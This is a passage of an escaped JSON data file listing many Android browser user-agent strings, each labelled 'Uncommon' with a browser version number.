Safari\\/533.1 MMS\\/LG-Android-MMS-V1.0\\/1.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P3110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; Galaxy Nexus Build\\/JWR66Y) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.1; en-in; Micromax A116i Build\\/JOP40D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; nl-nl; Sony Tablet S Build\\/TISU0143) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 7.1.1; SM-N950U Build\\/NMF26X)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-in; Micromax A110 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.3; C5303 Build\\/12.1.A.1.205)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; IdeaTabA2109A Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; GT-P5220 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; tr-tr; LG-E986 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-AS780 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; ru-ru; GT-P5110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; fr-fr; GT-N8010 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; MZ617 4G Build\\/7.7.1-85_MZ617-27) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Callpod Keeper for Android 1.0 (10.0.1\\/235) Dalvik\\/2.1.0 (Linux; U; Android 5.0.1; SM-N915V Build\\/LRX22C)\"},{\"commonality\":\"Uncommon\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; LG-D801 Build\\/JDQ39B) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; MID7036 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; rk30sdk Build\\/JRO03H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; Chaser Build\\/GRJ90) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Callpod Keeper for Android 1.0 (10.3.5\\/250) Dalvik\\/2.1.0 (Linux; U; Android 6.0; LG-H900 Build\\/MRA58K)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-; ST23i Build\\/11.0.A.5.5) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; MB865 Build\\/5.5.1-175_EDMR1.25) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SCH-S738C Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-es; GT-P3113 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; de-de; SM-T210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; zh-cn; DESAY TS1218 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; es-us; SM-T210R Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; sv-se; ST21i Build\\/11.0.A.4.22) AppleWebKit\\/537.16 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/537.16\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-ca; SGH-I757M Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SM-G900P Build\\/KOT49H) AppleWebKit\\/537.16 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/537.16\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-ca; LT7035-L Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; he-il; GT-I9105P Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 7.0; SM-T580 Build\\/NRD90M)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; iw-il; LG-P714 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 6.0.1; SM-T560NU Build\\/MMB29M)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; nb-no; GT-P5110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; XT905 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-ca; SGH-I317M Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; fr-fr; GT-P7510 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; en-us; SAMSUNG-SM-G360AZ Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; Sprint APX515CKT Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; GT-N7100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-us; ALCATEL ONE TOUCH 7042A Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; GT-P5200 Build\\/JDQ39E) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; tr-tr; GT-S6500D Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; HTC_H3000C Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; da-dk; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; N850L Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-us; Zio Build\\/FRG83) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; GT-N5100 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; HTC_H3000C Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5570I Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-ca; LG-P505R Build\\/FRG83) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-au; GT-S6500T Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; HP Slate 7 Plus Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; zh-cn; H30-U10 Build\\/HuaweiH30-U10) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; it-it; GT-I9105P Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-es; GT-S5570I Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; da-dk; GT-I9100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.1-update1; en-gb; SonyEricssonE15i Build\\/2.1.1.A.0.6) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; nl-nl; GT-S5830i Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SM-T210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; HTC_PH39100\\/1.63.502.4 Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.1; en-us; Galaxy Nexus Build\\/ITL41F) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-ca; SGH-S730M Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SGH-T699 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"PKT-301\\/V2 Linux\\/3.0.13 Android\\/4.0 Release\\/02.15.2012 Browser\\/AppleWebKit534.30 Mobile Safari\\/534.30 MBBMS\\/2.2 System\\/Android 4.2.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; generic Build\\/Froyo) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"DDG-Android-3.0.11\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-us; Sprint APA9292KT Build\\/GRI40) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-ca; SGH-I747M Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; GT-P1000 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Callpod Keeper for Android 1.0 (10.1.2\\/241) Dalvik\\/2.1.0 (Linux; U; Android 5.0.1; SAMSUNG-SM-N915A Build\\/LRX22C)\"},{\"commonality\":\"Uncommon\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; Vodafone 785 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30 SVN\\/120HEG1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; pt-br; ONE TOUCH 4007A Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2; en-us; SonyC6903 Build\\/14.1.G.1.518) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-N7100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; nl-nl; SM-T210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R530U Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; GT-S5300L Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SPH-M580 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-ca; SM-G730W8 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; he-il; m1 note Build\\/KTU84P) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Karbonn A1+ Duple Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; es-es; GT-P7500 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; M9300 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 5.1; Lenovo A7010a48 Build\\/LMY47D)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; Slider SL101 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; fr-fr; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.2; en-gb; GT-P6800 Build\\/HTJ85B) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; HTC_Desire_310 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-us; A101IT Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 6.0.1; SM-T350 Build\\/MMB29M)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android; en-us) AppleWebKit\\/999+ (KHTML, like Gecko) Safari\\/999.9\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC0P3P7 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-ca; SGH-I827D Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; Y220-U00 Build\\/HUAWEIY220-U00) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.4.4; XT1080 Build\\/SU6-7.7)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; MT8000 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-au; GT-S6102 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; VS950 4G Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.2.2; GT-P3113 Build\\/JDQ39)\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-CA; B1-710 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.1 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-ca; GT-N5110 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-us; GT-P3113 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; de-de; GT-P7501 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; es-us; GT-I9060M Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0PCV220\\/1.11.506.5 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; HTC_PN07120\\/1.26.502.15 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; da-dk; GT-P5100 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 5.0; SM-G900F Build\\/LRX21T)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-ca; SGH-T589R Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.2; en-gb; Galaxy Nexus Build\\/ICL53F) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Lenovo A7600-F Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 